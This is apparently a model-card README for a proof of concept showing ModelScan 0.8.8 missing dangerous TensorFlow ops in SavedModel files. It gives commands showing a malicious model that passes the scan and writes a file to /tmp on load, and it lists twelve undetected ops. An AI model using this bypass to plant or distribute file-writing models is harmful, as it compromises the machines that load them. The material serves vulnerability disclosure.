---
license: mit
tags:
- security
- mfv
- tensorflow
- savedmodel
---

# TensorFlow SavedModel Scanner Bypass PoC

**Vulnerability**: Multiple dangerous TF operations bypass ModelScan detection in SavedModel format
**Impact**: Arbitrary file write + info leak at model load time, undetected by all scanners
**Affected**: TensorFlow SavedModel format loaded via `tf.saved_model.load()`
**Scanner Bypassed**: ModelScan 0.8.8 (ProtectAI)

## Files

- `malicious_savedmodel/` - SavedModel that writes files at load time (passes ModelScan)
- `create_v2_bypass.py` - Script to create the malicious model and verify the bypass

## Reproduction

```bash
pip install tensorflow modelscan

# Scan the model - reports clean
modelscan --path malicious_savedmodel/
# Output: "No issues found!"

# Load the model - writes files
python3 -c "
import tensorflow as tf
model = tf.saved_model.load('malicious_savedmodel')
"
# Check: /tmp/pwned_savedmodel.data-00000-of-00001 now exists

# Or run the full PoC:
python3 create_v2_bypass.py
```

## Bypassed Operations

ModelScan only detects `ReadFile` and `WriteFile`. These 12 dangerous ops are NOT detected:
SaveV2, Save, MergeV2Checkpoints, RestoreV2, Restore, InitializeTableFromTextFileV2,
MatchingFiles, Abort, PrintV2, CreateSummaryFileWriter, DecodeBase64, FileSystemSetConfiguration